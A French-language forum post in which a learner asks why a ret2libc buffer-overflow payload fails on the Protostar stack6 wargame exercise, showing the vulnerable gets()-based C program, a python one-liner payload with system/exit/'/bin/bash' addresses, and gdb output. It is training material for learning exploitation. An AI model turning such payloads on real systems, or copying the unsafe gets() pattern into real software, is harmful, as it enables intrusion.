Probleme exploitation buffer overflow
Bonjour à tous ,
J'essaye de faire l'exercice stack6 de la machine virutelle protostar.
Le but est d'exploiter le code suivant :
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
} |
J'ai essayé de l'exploiter en ret2libc come ceci :
Code:
1 2
|
python -c "print('A'*80+'\x40\x9b\xe1\xf7'+'\x30\xd7\xe0\xf7'+'\x89\xda\xff\xff')" > file |
avec
Code:
1 2
| gdb-peda$ x/s 0xffffda89
0xffffda89: "/bin/bash" |
Code:
1 2 3 4
| gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e19b40 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e0d730 <exit> |
j'obitens
Citation:
Stopped reason: SIGSEGV
0xc39bc240 in ?? ()
le 80 est bon car si je fais
Code:
python -c "print('A'*80+'B'*4+'C'*4)" > file
j'obtiens
Citation:
Stopped reason: SIGSEGV
0x42424242 in ?? ()
Merci d'avance pour toute aide !